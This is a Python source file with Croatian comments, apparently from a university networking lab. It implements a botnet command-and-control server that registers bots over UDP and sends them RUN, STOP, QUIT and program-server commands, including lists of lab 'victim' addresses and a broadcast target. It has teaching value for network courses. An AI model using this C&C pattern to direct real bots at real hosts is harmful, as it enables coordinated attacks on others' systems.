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CandC.py
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#! /usr/bin/env python3
'''Command & Control server za LAB2 iz MrePro
Slusa na PORTUDP i prima registracije od Bot klijenata (poruka REG).
Na STDIN prima naredbe: r, r2, r3, l, p, n, s, q i h
'''
import socket
import sys
import select
import subprocess
PORTUDP = 5555
# UDP_server
server_ip = "127.0.0.1"
server_port = "1234"
PROG_TCP = "1 " + server_ip + " " + server_port
PROG_UDP = "2 " + server_ip + " " + server_port
botovi = set()
def adrese():
string = "3 "
string2 = b"3"
portovi = ["5678", "6789", "hostmon", "2222", "3333", "5555"]
izlaz = subprocess.check_output("hostname --all-ip-addresses", shell=True)
i=0
for ip in izlaz.decode().split():
if ":" in ip:
continue
string = string + ip + " " + portovi[i] + " "
string2 = string2 + ip.encode() + b"\0" * (16-len(ip)) + portovi[i].encode() + b"\0" * (22-len(portovi[i]))
i += 1
return (string,string2)
(POPIS,POPIS_send) = adrese()
# zrtve
IPS = "20.0.0.11 20.0.0.12 20.0.0.13".split(' ')
PORTS = "1111 2222 svn".split(' ')
vals = []
for i in range(0, len(IPS)):
tup = (IPS[i], PORTS[i])
vals.append(tup)
POPIS2 = "3 "
POPIS2_send = "3"
for (ip, port) in vals:
POPIS2 = POPIS2 + ip + " " + port + " "
POPIS2_send = POPIS2_send + ip + "\0" * (16-len(ip)) + port + "\0" * (22-len(port))
port = "2222"
ip = "20.0.0.255"
POPIS3 = "3 " + ip + " " + port + " "
POPIS3_send = "3" + ip + "\0" * (16-len(ip)) + port + "\0" * (22-len(port))
def help():
print("Podrzane su naredbe:")
print("pt... bot klijentima ssalje poruku PROG_TCP")
print(" struct MSG:" + PROG_TCP)
print("pu... bot klijentima ssalje poruku PROG_UDP")
print(" struct MSG:" + PROG_UDP)
print("r ... bot klijentima ssalje poruku RUN s adresama iz ifconfig")
print(" struct MSG:" + POPIS)
print("r2... bot klijentima ssalje poruku RUN s nekim adresama")
print(" struct MSG:" + POPIS2)
print("s ... bot klijentima ssalje poruku STOP ('4')")
print("l ... lokalni ispis adresa bot klijenata")
print("n ... salje poruku: 'NEPOZNATA'")
print("q ... bot klijentima ssalje poruku QUIT ('0') i zavrssava s radom")
print("h ... ispis naredbi")
def naredbe(udp_sock):
"""Ucitaj i obradi naredbe sa stdin
"""
naredba = sys.stdin.readline()
if naredba == "r\n":
print("--> RUN")
for (adresa, port) in botovi:
print("%s:%d <--- RUN: %s" % (adresa, port, POPIS))
leng = udp_sock.sendto(POPIS_send, (adresa, port))
elif naredba == "l\n":
print("--> lista botova:")
for (adresa, port) in botovi:
print("%s:%s;" % (adresa, port),end=" ")
print("")
elif naredba == "r2\n":
print("--> RUN2")
for (adresa, port) in botovi:
print("%s:%d <--- RUN: %s" % (adresa, port, POPIS2))
leng = udp_sock.sendto(POPIS2_send.encode(), (adresa, port))
elif naredba == "r3\n":
print("--> RUN3")
for (adresa, port) in botovi:
print("%s:%d <--- RUN: %s" % (adresa, port, POPIS3))
leng = udp_sock.sendto(POPIS3_send.encode(), (adresa, port))
elif naredba == "pt\n":
print("--> PROG_TCP")
for (adresa, port) in botovi:
print("%s:%d <--- PROG_TCP: %s" % (adresa, port, PROG_TCP))
prog = PROG_TCP.split(' ')
leng = udp_sock.sendto((prog[0] + prog[1] + "\0" * (16-len(prog[1])) + prog[2] + "\0" * (22-len(prog[2]))).encode(), (adresa, port))
elif naredba == "pu\n":
print("--> PROG_UDP")
for (adresa, port) in botovi:
print("%s:%d <--- PROG_UDP: %s" % (adresa, port, PROG_UDP))
prog = PROG_UDP.split(' ')
leng = udp_sock.sendto((prog[0] + prog[1] + "\0" * (16-len(prog[1])) + prog[2] + "\0" * (22-len(prog[2]))).encode(), (adresa, port))
elif naredba == "n\n":
print("--> NEPOZNATA")
for (adresa, port) in botovi:
print("%s:%d <-- NEPOZNATA" % (adresa, port))
leng = udp_sock.sendto("NEPOZNATA".encode(), (adresa, port))
elif naredba == "s\n":
print("--> STOP")
for (adresa, port) in botovi:
print("%s:%d <--- STOP" % (adresa, port))
leng = udp_sock.sendto('4'.encode(), (adresa, port))
elif naredba == "q\n":
print("--> QUIT")
for (adresa, port) in botovi:
print("%s:%d <--- QUIT" % (adresa, port))
leng = udp_sock.sendto('0'.encode(), (adresa, port))
print("Kraj programa.")
sys.exit(0)
elif naredba == "h\n":
help()
else:
print("Nepoznata naredba: %s" % naredba)
help()
#####
# __main__
#
def main():
"""Glavni"""
udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udp_sock.bind(('', PORTUDP))
inputs = [udp_sock, sys.stdin]
while True:
print('C&C> ',end="")
sys.stdout.flush()
readable, writable, exceptional = select.select(inputs, [], inputs)
for s in readable:
# Naredba na stdin:
if s is sys.stdin:
naredbe(udp_sock)
# Novi UDP klijent / Bot
elif s is udp_sock:
data, (novi_klijent, novi_port) = udp_sock.recvfrom(4096)
if data == b"REG\n":
print("\nBot klijent %s:%d" % (novi_klijent, novi_port))
botovi.add((novi_klijent, novi_port))
else:
print("\nBot klijent treba poslati naredbu: REG")
else:
print("\nZaboravio sam na fd: ", s)
sys.exit(1)
if __name__ == "__main__":
main()